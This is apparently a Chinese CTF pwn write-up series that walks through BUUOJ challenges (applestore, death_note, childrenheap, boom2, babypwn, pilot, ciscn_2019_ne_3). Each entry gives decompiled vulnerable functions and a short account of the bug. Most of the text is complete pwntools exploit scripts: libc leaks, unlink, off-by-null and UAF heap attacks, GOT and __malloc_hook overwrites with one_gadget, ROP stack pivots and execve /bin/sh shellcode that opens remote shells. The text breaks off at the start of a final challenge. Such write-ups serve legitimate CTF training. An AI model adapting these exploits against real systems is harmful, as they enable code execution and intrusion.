v7 = __readgsdword(0x14u);
v1 = 1;
v2 = dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(v6, 21);
v3 = atoi(v6);
while ( v2 )
{
if ( v1 == v3 )
{
v4 = *(_DWORD *)(v2 + 8);
v5 = *(_DWORD *)(v2 + 12);
if ( v5 )
*(_DWORD *)(v5 + 8) = v4;
if ( v4 )
*(_DWORD *)(v4 + 12) = v5;
printf("Remove %d:%s from your shopping cart.\n", v1, *(const char **)v2);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = *(_DWORD *)(v2 + 8);
}
return __readgsdword(0x14u) ^ v7;
}

delete这里就是个unlink操作,可以unlink attack

将v4设置为atoi_got+0x22,然后将v5设置为ebp_addr-0x8,attack之后ebp的位置被写入atoi_got+0x22

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned int handler()
{
char v1[22]; // [esp+16h] [ebp-22h] BYREF
unsigned int v2; // [esp+2Ch] [ebp-Ch]

v2 = __readgsdword(0x14u);
while ( 1 )
{
printf("> ");
fflush(stdout);
my_read(v1, 21);
switch ( atoi(v1) )
{
case 1:
list();
break;
case 2:
add();
break;
case 3:
delete();
break;
case 4:
cart();
break;
case 5:
checkout();
break;
case 6:
puts("Thank You for Your Purchase!");
return __readgsdword(0x14u) ^ v2;
default:
puts("It's not a choice! Idiot.");
break;
}
}
}

此时在handler中v1就是ebp-0x22,所以v1 = atoi_got,my_read的时候就是向atoi_got中写入值,所以可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './applestore'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28292)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '> '

def add(choice):
r.sendlineafter(menu, '2')
r.sendlineafter('Device Number> ', str(choice))

def checkout(content):
r.sendlineafter(menu, '5')
r.sendlineafter('Let me check your cart. ok? (y/n) > ', content)

def show(content):
r.sendlineafter(menu, '4')
r.sendlineafter('Let me check your cart. ok? (y/n) > ', content)

def delete(content):
r.sendlineafter(menu, '3')
r.sendlineafter('Item Number> ', content)

dbgg()

for i in range(6):
add(1)

for i in range(20):
add(2)

checkout('y')

puts_got = elf.got['puts']

p1 = b'y\x00' + p32(puts_got)
p1 += b'\x00' * (0xa - 2 - 4) + p32(0)
show(p1)

r.recvuntil('27: ')
puts_addr = u32(r.recvuntil("\xf7")[-4:])
li('puts_addr = ' + hex(puts_addr))

libc = ELF('./libc-2.23.so')
libc_base = puts_addr - libc.sym['puts']
li('libc_base = ' + hex(libc_base))
one = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
one_gadget = one[3] + libc_base

environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))

p2 = b'y\x00' + p32(environ)
p2 += b'\x00' * 6 + p32(0)
show(p2)

r.recvuntil('27: ')
stack_addr = u32(r.recv(4))
li('stack_addr = ' + hex(stack_addr))

atoi_got = elf.got['atoi']

p3 = b'27' + p32(stack_addr) + p32(0)
p3 += p32(atoi_got + 0x22) + p32(stack_addr - 0x100 - 0xc)

delete(p3)

system_addr = libc_base + libc.sym['system']

p4 = p32(one_gadget)

r.sendlineafter(menu, p4)

r.interactive()

pwnable_death_note

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned int add_note()
{
int v1; // [esp-Ch] [ebp-74h]
int v2; // [esp-Ch] [ebp-74h]
int v3; // [esp-8h] [ebp-70h]
int v4; // [esp-4h] [ebp-6Ch]
int index; // [esp+8h] [ebp-60h]
char name[80]; // [esp+Ch] [ebp-5Ch] BYREF
unsigned int v7; // [esp+5Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
printf("Index :");
index = read_int();
if ( index > 10 )
{
puts("Out of bound !!");
exit(0, v1, v3, v4);
}
printf("Name :");
read_input(name, 80);
if ( is_printable(name) )
{
note[index] = strdup(name);
puts("Done !");
return __readgsdword(0x14u) ^ v7;
}
else
{
puts("It must be a printable name !");
return exit(-1, v2, v3, v4);
}
}

写shellcode,但是要32位可见字符,漏洞点在上面,index没有检测负数,导致oob

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context(arch='i386', os='linux', log_level='debug')

file_name = './death_note'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28974)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = 'Your choice :'

def add(index, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Index :', str(index))
r.sendafter('Name :', content)

dbgg()

shellcode = '''
/* execve(path='/bin///sh', argv=0, envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
/*rewrite shellcode to get 'int 80'*/
push edx
pop eax
push 0x60606060
pop edx
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x35] , dl
sub byte ptr[eax + 0x34] , dl
push 0x3e3e3e3e
pop edx
sub byte ptr[eax + 0x34] , dl
/*set zero to edx*/
push ecx
pop edx
/*set 0x0b to eax*/
push edx
pop eax
xor al, 0x40
xor al, 0x4b
/*foo order,for holding the place*/
push edx
pop edx
push edx
pop edx
'''
add(-16, asm(shellcode)+ b'\x6b\x40')

r.interactive()

cscctf_2019_final_childrenheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 update()
{
char *v0; // rax
unsigned int index; // eax
__int64 id; // rbx
_BYTE *ptr; // rbp
unsigned __int64 result; // rax
char v5[24]; // [rsp+0h] [rbp-38h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-20h]

v6 = __readfsqword(0x28u);
__printf_chk(1LL, "Index: ");
v0 = fgets(v5, 16, stdin);
index = strtol(v0, 0LL, 10);
if ( index > 0xF )
error("Invalid index!");
id = (int)index;
if ( !heap_ptr[index]
|| (__printf_chk(1LL, "Content: "),
ptr = (_BYTE *)heap_ptr[id],
ptr[read(0, ptr, (int)size_ptr[id])] = 0,
(result = __readfsqword(0x28u) ^ v6) != 0) )
{
error("Index is not allocated!");
}
return result;
}

Off-by-null,但是禁用了fastbin

利用思路是利用off-by-null打overlapping,然后unsortedbin attack打max_fast,这样子再创建堆删除堆的时候就会直接进入fastbin了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './cscctf_2019_final_childrenheap'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29984)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = '>> '

def add(index, size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Index: ', str(index))
r.sendlineafter('Size: ', str(size))
r.sendafter('Content: ', content)

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index: ', str(index))

def edit(index, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index: ', str(index))
r.sendafter('Content: ', content)

def delete(index):
r.sendlineafter(menu, '4')
r.sendlineafter('Index: ', str(index))

dbgg()

for i in range(4):
add(i, 0xf8, 'a')

add(4, 0xf8, 'aaaa')
add(5, 0x68, 'aaaa')
add(6, 0xf8, 'aaaa')
add(7, 0x60, 'aaaa')

delete(0)

p1 = b'a' * 0xf0 + p64(0x200)
edit(1, p1)

delete(2)

add(0, 0xf8, 'aaaa')
show(1)

malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
li('malloc_hook = ' + hex(malloc_hook))

#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = malloc_hook - libc.sym['__malloc_hook']
li('libc_base = ' + hex(libc_base))
_IO_list_all = libc_base + libc.sym['_IO_list_all']
li('_IO_list_all = ' + hex(_IO_list_all))

#one = [0x45226, 0x4526a, 0xf03a4, 0xf1247]
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[2] + libc_base
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
IO_str_jumps_addr = libc.sym['_IO_file_jumps'] + libc_base
system_addr = libc_base + libc.sym['system']
global_max_fast = libc_base + 0x3c67f8#libc.sym['global_max_fast']
li('global_max_fast = ' + hex(global_max_fast))

add(2, 0x10, 'a')
p1 = p64(0) * 3
p1 += p64(0x71) + p64(0)
p1 += p64(global_max_fast - 0x10)
p1 = p1.ljust(0x88, b'\x00')
p1 += p64(0x71)
edit(1, p1)

add(8, 0x60, 'aaa')
delete(8)

edit(1, p64(0) * 3 + p64(0x71) + p64(malloc_hook - 0x23))
add(9, 0x60, 'aaaa')

p2 = b'\x00' * 0x13 + p64(one_gadget)
add(10, 0x60, p2)

delete(1)
delete(2)

r.interactive()

wdb_2020_1st_boom2

vm pwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed __int64 *stack; // ST18_8 MAPDST
__int64 v5; // ST08_8
__int64 v6; // ST00_8
signed __int64 *v7; // rax
signed __int64 opcode; // rax
_QWORD *v9; // rax
signed __int64 *v10; // rax
signed __int64 *v11; // ST18_8
_QWORD *v12; // rax
signed __int64 v13; // ST18_8
void **v14; // rax
signed __int64 **v15; // rax
signed __int64 *v16; // rax
_BYTE *v17; // rax
signed __int64 *v18; // rax
signed __int64 *v19; // rax
signed __int64 *v20; // rax
signed __int64 *v21; // rax
signed __int64 *v22; // rax
signed __int64 *v23; // rax
signed __int64 *v24; // rax
signed __int64 *v25; // rax
signed __int64 *v26; // rax
signed __int64 *v27; // rax
signed __int64 *v28; // rax
signed __int64 *v29; // rax
signed __int64 *v30; // rax
signed __int64 *v31; // rax
signed __int64 *v32; // rax
signed __int64 *v33; // rax
signed __int64 result; // rax
char *code; // [rsp+10h] [rbp-40h]
signed __int64 *_sp; // [rsp+18h] [rbp-38h]
signed __int64 *_bp; // [rsp+20h] [rbp-30h]
signed __int64 reg; // [rsp+28h] [rbp-28h]
__int64 code_len; // [rsp+30h] [rbp-20h]

setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
stack = (signed __int64 *)malloc(0x40000uLL);
code = (char *)malloc(0x40000uLL);
printf("MC execution system\nInput your code> ", 0LL, a2, a1);
read(0, code, 0x120uLL);
stack += 0x8000;
_bp = stack;
--stack;
*stack = 0x1ELL;
--stack;
*stack = 13LL;
--stack;
*stack = v5 - 1;
--stack;
*stack = v6 + 8;
_sp = stack - 1;
*_sp = (signed __int64)stack;
code_len = 0LL;
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
if ( ++code_len > 30 )
{
opcode = 30LL;
}
else
{
v7 = (signed __int64 *)code;
code += 8;
opcode = *v7;
}
if ( opcode )
break;
v9 = code;
code += 8;
reg = (signed __int64)&_bp[*v9];// mov reg, bp[memerycode]
}
if ( opcode != 1 )
break;
v10 = (signed __int64 *)code;
code += 8;
reg = *v10;// mov reg, [memerycode]
}
if ( opcode != 6 )
break;
v11 = _sp - 1;
*v11 = (signed __int64)_bp;
_bp = v11;
v12 = code;
code += 8;
_sp = &v11[-*v12];
}
if ( opcode != 8 )
break;
v13 = (signed __int64)(_bp + 1);
_bp = (signed __int64 *)*_bp;
v14 = (void **)v13;
_sp = (signed __int64 *)(v13 + 8);
code = (char *)*v14;
}
if ( opcode != 9 )
break;
reg = *(_QWORD *)reg;// mov reg, [reg]
}
if ( opcode != 10 )
break;
reg = *(char *)reg;// mov reg, char([reg])
}
if ( opcode != 11 )
break;
v15 = (signed __int64 **)_sp;
++_sp;
**v15 = reg;// mov sp, [reg]
}
if ( opcode != 12 )
break;
v16 = _sp;
++_sp;
v17 = (_BYTE *)*v16;
*v17 = reg;
reg = (char)*v17;
}
if ( opcode != 13 )
break;
--_sp;
*_sp = reg; // push(reg)
}
if ( opcode != 14 )
break;
v18 = _sp;
++_sp;
reg |= *v18; // reg = reg | reg
}
if ( opcode != 15 )
break;
v19 = _sp;
++_sp;
reg ^= *v19; // reg = reg ^ sp
}
if ( opcode != 16 )
break;
v20 = _sp;
++_sp;
reg &= *v20; // reg = reg & sp
}
if ( opcode != 17 )
break;
v21 = _sp;
++_sp;
reg = *v21 == reg; // reg = sp == reg
}
if ( opcode != 18 )
break;
v22 = _sp;
++_sp;
reg = *v22 != reg; // reg = sp != reg
}
if ( opcode != 19 )
break;
v23 = _sp;
++_sp;
reg = *v23 < reg; // reg = sp < reg
}
if ( opcode != 20 )
break;
v24 = _sp;
++_sp;
reg = *v24 > reg; // reg = sp > reg
}
if ( opcode != 21 )
break;
v25 = _sp;
++_sp;
reg = *v25 <= reg; // reg = sp <= reg
}
if ( opcode != 22 )
break;
v26 = _sp;
++_sp;
reg = *v26 >= reg; // reg = sp >= reg
}
if ( opcode != 23 )
break;
v27 = _sp;
++_sp;
reg = *v27 << reg; // reg = sp << reg
}
if ( opcode != 24 )
break;
v28 = _sp;
++_sp;
reg = *v28 >> reg; // reg = sp >> reg
}
if ( opcode != 25 )
break;
v29 = _sp;
++_sp;
reg += *v29; // reg = sp + reg
}
if ( opcode != 26 )
break;
v30 = _sp;
++_sp;
reg = *v30 - reg; // reg = sp - reg
}
if ( opcode != 27 )
break;
v31 = _sp;
++_sp;
reg *= *v31; // reg = sp * reg
}
if ( opcode != 28 )
break;
v32 = _sp;
++_sp;
reg = *v32 / reg; // reg = sp / reg
}
if ( opcode != 29 )
break;
v33 = _sp;
++_sp;
reg = *v33 % reg; // reg = sp % reg
}
if ( opcode == 30 )
result = *_sp;
else
result = -1LL;
return result;
}

逆清楚指令之后就很清楚了,有越界这些漏洞,但是这题有个非常巧的地方是存在environ地址在sp + 1这里,那就可以运用reg = sp - regreg = sp + reg指令来让libc_start_main的地址落到reg这里,然后再push到sp,这样的话只需要再把reg设置成ogg和start_main的偏移然后直接利用reg = sp + reg来使得真实的ogg落到reg上

最后mov sp, [reg],把reg的值放到sp中,也就是把start_main改成了ogg,然后就可以getshell了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './wdb_2020_1st_boom2'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 26164)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()

p1 = p64(14)
p1 += p64(1) + p64(0xe8)
p1 += p64(26)
p1 += p64(13)
p1 += p64(9)
p1 += p64(13)
p1 += p64(1) + p64(0x4f2c5 - 0x021b97)
p1 += p64(25)
p1 += p64(11)

r.sendafter('Input your code> ', p1)

r.interactive()

ycb_2020_babypwn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int delete()
{
int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( !dword_20203C )
return puts("Null!");
puts("game's index:");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0x13 && heap_ptr[v1] )
{
LODWORD(heap_ptr[v1]->flags) = 0;
free((void *)heap_ptr[v1]->name);
result = puts("Deleted!");
}
else
{
puts("index error!");
result = 0;
}
return result;
}

name这里有uaf,但是这题没有show功能,add里面只能申请小于0x70的chunk,而且add的时候还会先创建一个0x28大小的chunk来管理name和message

漏洞利用是借助malloc_consolidate()将fastbin放入small bin里面,这样的话就会出现libc在fd上,申请出来

改fd的低位到stout那里,利用double free打overlapping,申请到stdout那里,泄露出libc,然后double free打hook为ogg即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

context(arch='amd64', os='linux')#, log_level='debug')

file_name = './ycb_2020_babypwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

'''
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25310)
else:
r = process(file_name)

elf = ELF(file_name)
'''
def dbg():
gdb.attach(r)

def dbgg():
raw_input()

menu = "Your choice : "

def add(size, name, message):
r.sendlineafter(menu, '1')
r.sendlineafter("size of the game's name: ", str(size))
r.sendafter("game's name:", name)
r.sendafter("game's message:", message)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter("game's index:", str(index))

def attack():
add(0x68, 'aaaa', 'bbbb\n')
add(0x68, 'aaaa', 'bbbb\n')
add(0x68, 'aaaa', 'bbbb\n')
add(0x68, 'aaaa', 'bbbb\n')
add(0x28, 'aaaa', 'bbbb\n')

delete(0)

delete('4'*0x400)

delete(4)

add(0x68, '\xdd\x25', 'bbbb\n')

delete(4)

delete(2)
delete(1)
delete(2)

add(0x68, '\x30', 'bbbb\n')

for i in range(3):
delete(4)
add(0x68, 'aaaa', 'bbbb\n')

delete(4)
p1 = b'\x00' * 3 + p64(0) * 6 + p64(0xfbad1880) + p64(0) * 3 + b'\x00'

r.sendlineafter(menu, '1')
r.sendlineafter("size of the game's name: ", str(0x68))
r.sendafter("game's name:", p1)
r.send('a\n')

leak_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('leak_addr = ' + hex(leak_addr))
#libc = ELF('./2.23/libc-2.23.so')
libc = ELF('./libc-2.23.so')
libc_base = leak_addr - libc.sym['_IO_2_1_stderr_'] - 192
li('libc_base = ' + hex(libc_base))

malloc_hook = libc_base + libc.sym['__malloc_hook']
#one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[2] + libc_base

delete(3)
delete(2)
delete(3)

add(0x68, p64(malloc_hook - 0x23), 'bbbb\n')

for i in range(2):
add(0x68, 'aaaa', 'bbbb\n')

p2 = b'\x00' * 0x13 + p64(one_gadget)
add(0x68, p2, 'bbbb\n')
delete(3)
delete(3)

while True:
try:
r = remote('node4.buuoj.cn', 25310)
attack()
r.sendline('cat flag')
r.interactive()
break
except:
r.close()

de1ctf_2019_a+b

这样子就能直接cat flag了

1
2
3
4
5
6
#include <stdlib.h>

int main(int argc, char **argv){
system("cat flag");
return 0;
}

csaw_pilot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Welcome DropShip Pilot...");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I am your assitant A.I....");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]I will be guiding you through the tutorial....");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
v6 = std::operator<<<std::char_traits<char>>(
&std::cout,
"[*]As a first step, lets learn how to land at the designated location....");
std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
v7 = std::operator<<<std::char_traits<char>>(
&std::cout,
"[*]Your mission is to lead the dropship to the right location and execute sequence of instructions to save Marines & Medics...");
std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
v8 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Good Luck Pilot!....");
std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
v9 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Location:");
v10 = std::ostream::operator<<(v9, buf);
std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
std::operator<<<std::char_traits<char>>(&std::cout, "[*]Command:");
if ( read(0, buf, 0x40uLL) > 4 )
return 0LL;
v11 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]There are no commands....");
std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
v12 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]Mission Failed....");
std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
return 0xFFFFFFFFLL;
}

溢出,给了buf地址,直接ret2shellcode,长度要小于24,超过24会因为push原因造成shellcode执行失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pilot'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 29795)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()

r.recvuntil('0x')

shell = int(r.recv(12), 16)
li('shell = ' + hex(shell))

#shellcode = b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
#shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

#shellcode = b'\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
shellcode = b'\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05'
p1 = shellcode.ljust(0x28, b'\x00') + p64(shell)

r.sendafter('Command:', p1)

r.interactive()

ciscn_2019_ne_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
int Num; // eax
size_t v4; // edi
int buf[21]; // [esp+0h] [ebp-54h] BYREF

buf[18] = (int)&argc;
memset(buf, 0, 0x3Cu);
init();
__printf_chk(1, "Welcome to The Simple Trial");
readName();
__printf_chk(1, "Please set the length of password: ");
Num = readNum();
if ( Num > 0x20 )
{
puts("segmentation fault (core dumped)");
sleep(1u);
exit(0);
}
v4 = Num;
buf[1] = Num;
__printf_chk(1, "Now, Say password(%u):");
read(0, buf, v4);
puts("well, please contiune");
return 0;
}

-1可以溢出,但是在最后esp会被改掉

1
2
3
4
5
6
7
8
9
.text:080487A8 83 C4 10                      add     esp, 10h
.text:080487AB B8 00 00 00 00 mov eax, 0
.text:080487B0 8D 65 F4 lea esp, [ebp-0Ch]
.text:080487B3 59 pop ecx
.text:080487B4 5B pop ebx
.text:080487B5 5F pop edi
.text:080487B6 5D pop ebp
.text:080487B7 8D 61 FC lea esp, [ecx-4]
.text:080487BA C3 retn

溢出的时候控制ecx到bss上,输入num的时候可以在bss上赋值,所以可以在bss上构造rop

但是正常的rop输出libc会失败,看发一下hav1k师傅的wp发现是栈的原因,需要抬高栈

所以后续就是栈迁移到更高的地方,写rop输出libc然后getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './ciscn_2019_ne_3'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28625)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def dbgg():
raw_input()

dbgg()

r.sendlineafter(':', 'a' * 8)

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']

main_addr = elf.sym['main']
bss_addr = 0x804a060

p2 = b'-1\x00\x00'
p2 += p32(0x80486D0) + p32(bss_addr) + p32(0x100)

r.sendafter('Please set the length of password: ', p2)

p1 = b'a' * (0x54 - 8 - 4) + p32(bss_addr + 8)
r.sendlineafter(':', p1)

pop_ebp_ret = 0x0804881b
leave_ret = 0x08048575

p3 = p32(pop_ebp_ret) + p32(bss_addr + 0x600) + p32(read_plt) + p32(leave_ret)
p3 += p32(0) + p32(bss_addr + 0x600 + 4) + p32(0x100)
sleep(1)
r.send(p3)

p4 = p32(puts_plt) + p32(pop_ebp_ret) + p32(puts_got) + p32(read_plt) + p32(0x08048819) + p32(0) + p32(bss_addr + 0x600 + 0x24) + p32(0x100)
sleep(1)
r.send(p4)

puts_addr = u32(r.recvuntil("\xf7")[-4:])
li('puts_addr = ' + hex(puts_addr))

#libc = ELF('./2.27/libc-2.27.so')
libc = ELF('./libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
li('libc_base = ' + hex(libc_base))
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

p5 = p32(system_addr) + p32(0) + p32(bin_sh)
sleep(1)
r.send(p5)

r.interactive()

ciscn_2019_final_6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
signed __int64 __fastcall store_game(__int64 a1, __int64 a2)
{
Data *v3; // rbx
char v4; // [rsp+7h] [rbp-19h]
